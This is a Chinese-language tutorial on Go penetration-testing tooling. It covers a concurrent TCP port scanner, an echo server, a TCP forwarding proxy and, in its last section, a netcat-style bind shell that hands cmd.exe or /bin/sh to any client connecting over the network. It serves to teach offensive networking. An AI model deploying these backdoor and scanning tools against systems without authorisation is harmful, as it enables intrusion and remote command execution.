Go渗透测试笔记(二)—TCP,扫描器和代理 0x00 前言 TCP是面向连接协议的主要标准,也是现代网络的基础。
作为攻击者,我们应当了解TCP的工作原理,并且能够开发可用的TCP结构体,以便可以识别 打开/关闭 的端口,找出错误的结果。
如误判(syn-flood防护)以及通过端口转发绕过出口限制等等。
0x01 理解TCP的握手机制
0x02 通过端口转发绕过防火墙 企业组织可以配置防火墙,以防止客户端连接到某些服务器和端口,同时允许访问其他服务器和端口。我们可以使用中间系统代理连接绕过或者穿透防火墙,从而绕过这些限制。
许多企业网络会限制内部资产建立与恶意站点的HTTP连接。假设有一个名为evil.com
的恶意网站。如果有员工直接浏览evil.com,则浏览器会阻止,但是,如果员工拥有允许通过防火墙的外部系统,(如 stacktian.com),则员工可以利用允许的域来反弹与evil.com
的连接
可以使用端口转发绕过多种限制性网络配置,例如,可以通过跳箱转发流量,以访问网络或者访问绑定到限制性接口的端口
0x03 编写一个TCP扫描器 1. 测试端口的可用性 创建端口扫描器的第一步是了解如何启动从客户端到服务器组件的相连,在整个示例中,我们需要连接并扫描scanme.nmap.org
,为此我们需要使用nmap的包:net.Dial(network,address string)
第一个参数是一个字符串,用于识别标识要启动的连接类型,这是因为Dial
不仅适用于TCP,还可以用于创建使用Unix
套接字,UDP和第四层协议连接。
第二个参数需要连接的主机,对于IPV4/TCP
连接,字符串使用host:port
的形式进行连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package mainimport ( "fmt" "net" ) func main () { _,err := net.Dial("tcp" ,"scanme.nmap.org:80" ) if err == nil { fmt.Println("连接成功" ) } }
2. 执行非并发扫描 一次扫描一个端口没有什么用,TCP的端口为”1–65535”,作为测试,我们这里选择 1024,使用 for
循环
1 2 3 4 5 6 7 8 9 10 11 package mainimport "fmt" func main () { for i:=1 ; i<=1024 ; i++{ address := fmt.Sprintf("scanme.nmap.org:%d" ,i) fmt.Println(address) } }
剩下的就是进行连接,我们还应该加入一些逻辑来关闭连接,这样就不会一直处于一个打开的状态,需要在Conn上调用Close()
Sprintf:用传入的格式化规则符将传入的变量格式化,(终端中不会有显示)
Printf:用传入的格式化规则符将传入的变量写入到标准输出里面(即在终端中有显示),
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package mainimport ( "fmt" "net" ) func main () { for i:=79 ; i<=100 ; i++{ address := fmt.Sprintf("scanme.nmap.org:%d" ,i) conn,err := net.Dial("tcp" ,address) if err != nil { continue } conn.Close() fmt.Printf("%d open\n" ,i) } }
3. 执行非并发扫描 上面的例子中我们是进行单个扫描,没有同时扫描,这将浪费很多的时间,于是我们需要使用gorountine
提高扫描器的速度,其数量受到系统处理能力和可用内存的限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package mainimport ( "fmt" "net" ) func main () { for i := 1 ; i < 1024 ; i++ { go func (j int ) { address := fmt.Sprintf("scanme.nmap.org:%d" ,j) conn,err := net.Dial("tcp" ,address) if err != nil { return } conn.Close() fmt.Printf("%d open\n" ,j) }(i) } }
当我们写出这样的代码的时候,程序几乎是立马就退出了,因为运行的代码会为每一个连接启动一个gorountine,
而主gorountine
不知道要等待连接发生,代码会在for循环完成之后立刻退出,这可能比端口之间的网络包交换还要快,无法直接获得准确结果。所以我们需要使用sync
包中的WaitGroup
方法
创建WaitGroup
以后,可以调用一些方法
Add(int),他将按所提供的数字递增内部的计算器
Done() 将计算器减一
Wait() 会阻止其中调用它的gorountine
的执行,并且在内部计算器到达0之前不允许进一步执行。
4. 1 使用WaitGroup进行同步扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package mainimport ( "fmt" "net" "sync" ) func main () { var wg sync.WaitGroup for i := 1 ; i < 1024 ; i++ { wg.Add(1 ) go func (j int ) { defer wg.Done() address := fmt.Sprintf("scanme.nmap.org:%d" ,j) conn,err := net.Dial("tcp" ,address) if err != nil { return } conn.Close() fmt.Printf("%d open\n" ,j) }(i) } wg.Wait() }
在此版本中,创建了WaitGroup()
用作同步计算器,每次创建gorounine
扫描端口的时候,都可以通过wg.Add(1)
递增计数器,然后使用Done()递减
,在main
中调用wg.Wait()
将阻塞所有进程直到计数器为0为止
4.2 工人池–>多通道通信 为了避免结果不一致,我们需要使用gorountine
池管理正在进行的并发工作,使用for
循环创建一定数量的工人gorountine
作为资源池,然后再main
线程中使用通道提供工作
首先,我们创建一个新程序,程序有100个worker,使用一个int
通道将他们打印到屏幕上,继续使用WaitGroup
阻塞执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package mainimport ( "fmt" "sync" ) func worker (ports chan int ,wg *sync.WaitGroup) { for p := range ports{ fmt.Println(p) wg.Done() } } func main () { ports := make (chan int ,100 ) var wg sync.WaitGroup for i := 0 ; i <=cap (ports); i++ { go worker(ports,&wg) } for i := 1 ; i <= 1024 ; i++ { wg.Add(1 ) ports <- i } wg.Wait() close (ports) }
我们再使用了make去创建了一个通道,在此处int 值等于 100,这样就可以对该通道进行缓冲,这也意味着 可以在不等待接收器读取数据的情况下,向其发送数据。缓冲通道可以维护多个生产者和消费者的问题,将通道容量设为100意味着发送被阻止之前,可以容纳100个数据项,这样做可以提升性能,因为允许所有的工人立即启动
在上面的例子中,我们可以很清楚的看见,数字并不是按照顺序打印的,因为端口扫描器不回去检查他们的顺序,我们可以使用单独的线程扫描器将扫描结果传回主线程,以便在打印之前对端口进行一个排序,这样做的好处是,可以消除对WaitGroup
的依赖
接下来进行修改,使用多通道进行扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package mainimport ( "fmt" "net" "sort" ) func worker (ports,results chan int ) { for p := range ports{ address := fmt.Sprintf("scanme.nmap.org:%d" ,p) conn,err := net.Dial("tcp" ,address) if err != nil { results <- 0 continue } conn.Close() results <- p } } func main () { ports := make (chan int ,100 ) results := make (chan int ) var openports [] int for i := 0 ; i <=cap (ports); i++ { go worker(ports,results) } go func () { for i := 1 ; i <= 1024 ; i++ { ports <- i } }() for i := 1 ; i <= 1024 ; i++ { port := <-results if port != 0 { openports = append (openports,port) } } close (ports) close (results) sort.Ints(openports) for _,port := range openports{ fmt.Printf("%d opend\n" ,port) } }
一个高效的扫描器需要花时间去处理工人的数量,数量越多,程序执行的越快,但是当工人数量过多的时候,结果就会变得不可靠
0x04 构造TCP代理 1. 使用io.Reader和io.writer 1 2 3 4 5 6 type Reader interface { Read(p []byte ) (n int , err error ) } type Writerer interface { Writer(p []byte ) (n int , err error ) }
在GO语言中,以上两种数据类型被定义为接口,这意味着他们不能直接被实例化,该抽象方法必须在某种数据类型上得到实现才能运用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package maintype FooReader struct {}type FooWriter struct {}func (foolreader * FooReader) Read(p [] byte )(int ,error ) { var s = "ssssss" return len (s),nil } func (foolWriter * FooWriter) Write(p [] byte )(int ,error ) { var s = "ssssss" return len (s),nil }
下面看个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package mainimport ( "fmt" "log" "os" ) type FooReader struct {}type FooWriter struct {}func (foolReader * FooReader) Read(b [] byte )(int ,error ) { fmt.Println("in >" ) return os.Stdin.Read(b) } func (foolWriter * FooWriter) Write(b [] byte )(int ,error ) { fmt.Println("out >" ) return os.Stdout.Write(b) } func main () { var ( reader FooReader writer FooWriter ) input := make ([] byte ,4096 ) s,err := reader.Read(input) if err != nil { log.Fatalf("unable to read data" ) } fmt.Printf("Read %d bytes from stdin\n" ,s) s,err = writer.Write(input) if err != nil { log.Fatalf("unable to write data" ) } fmt.Printf("wrote %d bytes to stdout\n" ,s) }
将Reader 复制到Writer是一种非常常见的模式,于是官方提供了一个io.Copy()
用于简化操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package mainimport ( "fmt" "io" "log" "os" ) type FooReader struct {}type FooWriter struct {}func (foolReader * FooReader) Read(b [] byte )(int ,error ) { fmt.Println("in >" ) return os.Stdin.Read(b) } func (foolWriter * FooWriter) Write(b [] byte )(int ,error ) { fmt.Println("out >" ) return os.Stdout.Write(b) } func main () { var ( reader FooReader writer FooWriter ) if _, err := io.Copy(&writer, &reader); err != nil { log.Fatalln("发生了错误" ) } }
使用了io.Copy 只需要 处理先读后写的过程,而无需关注其他细节。
2. 创建回显服务器 按照大多数语言的习惯,首先需要一个回显服务器,以学习如何再套接字中读写数据,为此,需要用到net.Conn
创建Conn实例以后,可以通过TCP套接字接受和发送数据,不过TCP服务器不能简单的创造一个连接,连接必须由客户端发起建立。
在Go中可以使用net.Listen(network,address string)
在特定端口打开TCP监听器,客户端连接后,可以使用Accept()
创建一个Conn对象,可以用于接受和发送数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package mainimport ( "io" "log" "net" ) func echo (conn net.Conn) { defer conn.Close() b := make ([]byte ,512 ) for { size,err := conn.Read(b[0 :]) if err == io.EOF { log.Println("Client disconnected" ) break } if err != nil { log.Println("Unexpected error" ) break } log.Println("Received %d bytes : %s\n" ,size,string (b)) log.Println("Writing Data" ) if _,err :=conn.Write(b[0 :size]);err !=nil { log.Fatalf("unable to write data" ) } } } func main () { listener,err := net.Listen("tcp" ,":20080" ) if err != nil { log.Fatalln("unable to bind to tcp" ) } log.Println("Listening on 0.0.0.0:20080" ) for { conn,err := listener.Accept() if err != nil { log.Fatalln("unable to accept connection" ) } go echo(conn) } }
其中Conn既是Reader
也是Writer
,实现了Read[]byte
,和Write([] byte)方法
之后,使用gorountine
使其成为并发调用,以便在等待处理函数完成时,其他连接不会被阻塞
当我们使用telnet
进行一个连接的时候
可以看见回显服务器将客户端发送给它的内容完全重复的发送给客户端
3. 创建缓冲带的监听器来改进代码 上面的例子依赖相当低级的函数调用,且缓冲区跟踪重复读写,其运行过程容易出错。可以使用bufio
包,其中也包含了Reader
和Writer
,我们稍微改进一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package mainimport ( "bufio" "log" "net" ) func echo2 (conn net.Conn) { defer conn.Close() reader :=bufio.NewReader(conn) s,err := reader.ReadString('\n' ) if err != nil { log.Fatalln("unable to read data" ) } log.Printf("Read %d bytes :%s" ,len (s),s) log.Println("Writing data" ) writer := bufio.NewWriter(conn) if _, err := writer.WriteString(s); err != nil { log.Fatalln("unable to write data" ) } writer.Flush() } func main () { listener,err := net.Listen("tcp" ,":20080" ) if err != nil { log.Fatalln("unable to bind to tcp" ) } log.Println("Listening on 0.0.0.0:20080" ) for { conn,err := listener.Accept() if err != nil { log.Fatalln("unable to accept connection" ) } go echo2(conn) } }
我们不在Conn
上调用函数Read([]byte)
和Write([]byte)
,而是通过NewReader(io.Reader)和 NewWriter(io.Writer)初始化新的缓冲带。这些调用都以现有的Reader
和Writer
为基础
两个缓冲实例都具有用于读取和写入的字符串数据的功能。ReadString(byte)
带有一个分隔符,表示数据读取长度。而WritrString(byte)则将字符串写入套接字,写入数据时,需要显示调用writer.Flush()
,以便将所有的数据写入底层的Writer
在此示例中,变量conn作为源和目标传递,因为将在建立的连接上回显内容
1 2 3 4 5 6 7 func echo3(conn net.Conn) { defer conn.Close() //使用io.Copy进行复制 if _,err := io.Copy(conn,conn); err != nil { log.Fatalln("unable to read/write data") } }
4. 创建一个TCP客户端 在很多情况下,我们需要把一个网站上收到的流量全部转发到另一台服务器,我们可以编写如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package mainimport ( "io" "log" "net" ) func handle (src net.Conn) { dst,err := net.Dial("tcp" ,"某A网站" ) if err != nil { log.Fatalln("unable to connect to our unreachable host" ) } defer dst.Close() go func () { if _,err := io.Copy(dst,src);err != nil { log.Fatalln(err) } }() if _,err := io.Copy(src,dst); err != nil { log.Fatalln(err) } } func main () { listener,err := net.Listen("tcp" ,":80" ) if err != nil { log.Fatalln("unable to bind to port" ) } for { conn ,err := listener.Accept() if err != nil { log.Fatalln("unable to accept connection" ) } go handle(conn) } }
现在我们把需要转发的网站标记为A,执行脚本的网站标记为B,以便理解下面的思路
其中,我们调用了两次Copy函数,第一次是确保A网站能和B服务器进行连接,第二次是确保回显的数据被写回到连接客户端的连接中。
这样,在代理的端口,就能持续接收到他发送的数据
5. 复现Netcat命令 这里用到了Go的包os/exec
1 cmd := exec.Command("/bin/sh" ,"-i" )
这将创建Cmd的实例,但尚未执行该命令,可以使用stdin
和stdout
,或者Copy
将Reader或者Writer
赋值给Cmd
1 2 cmd.Stdin= conn cmd.stdout = conn
处理完数据流以后,就可以使用cmd.Run()
运行命令
1 2 3 if err := cmd.Run();err != nil { }
以上操作很适合在linux下运行,但是在Windows
系统上运行程序时,使用cmd.exe
而不适用/bin/bash
,你就会发现,由于某些Windows特定的匿名管道处理,连接的客户端永远收不到命令输出。
要解决上面的问题,有两种方案
首先,可以通过代码显示强制刷新标准输出以事应此席位的差别,不再直接将Conn赋给 cmd.Stdout,而是实现一个包装bufio.Writer
(缓冲区写入器)的自定义Writer
,并且显示调用Flush
方法以强制刷新缓冲区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package mainimport ( "bufio" "io" "log" "net" "os/exec" ) type Flusher struct { w * bufio.Writer } func NewFlusher (w io.Writer) * Flusher{ return &Flusher{ w : bufio.NewWriter(w), } } func (foo *Flusher) Write(b []byte )(int ,error ) { count,err := foo.w.Write(b) if err != nil { return -1 , err } if err := foo.w.Flush();err != nil { return -1 ,err } return count,err } func handle1 (conn net.Conn) { cmd := exec.Command("cmd.exe" ) cmd.Stdin = conn cmd.Stdout = NewFlusher(conn) if err := cmd.Run(); err != nil { log.Fatalln(err) } } func main () { listener,err := net.Listen("tcp" ,":80" ) if err != nil { log.Fatalln("unable to bind to port" ) } for { conn ,err := listener.Accept() if err != nil { log.Fatalln("unable to accept connection" ) } go handle1(conn) } }
我这里踩了一个坑 cmd /c
,在写脚本的时候,不可以加入 ‘/c’参数,否则回一直无法建立连接
当然,使用telnet
也可以,效果是一样的
另一种方式是使用 io.Pipe()
,该函数是go
的同步内存管道,可用于连接Reader
和Writer
1 2 3 4 5 6 7 8 func Pipe () (*PipeReader, *PipeWriter) { p := &pipe{ wrCh: make (chan []byte ), rdCh: make (chan int ), done: make (chan struct {}), } return &PipeReader{p}, &PipeWriter{p} }
根据其定义,我们可以对上面的代码进行一个优化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package mainimport ( "io" "log" "net" "os/exec" ) func handle2 (conn net.Conn) { cmd := exec.Command("cmd.exe" ) rp, wp := io.Pipe() cmd.Stdin = conn cmd.Stdout = wp go io.Copy(conn, rp) cmd.Run() conn.Close() } func main () { listener, err := net.Listen("tcp" , ":20080" ) if err != nil { log.Fatalln(err) } for { conn, err := listener.Accept() if err != nil { log.Fatalln(err) } go handle2(conn) } }
调用io.Pipe
的时候,对创建一个同步连接的一个reader
和一个writer
,任何被写入writer
的数据(wp),都会被reader
(rp)读取,因此,我们需要将writer
分配给cmd.Stdout
,然后使用io.Copy(conn,rp)
将PipeReader
链接到TCP
连接。之后使用gprountine
防止阻塞。命令的标准输入发送到writer
,然后通过管道传送到reader
,并通过TCP
连接输出。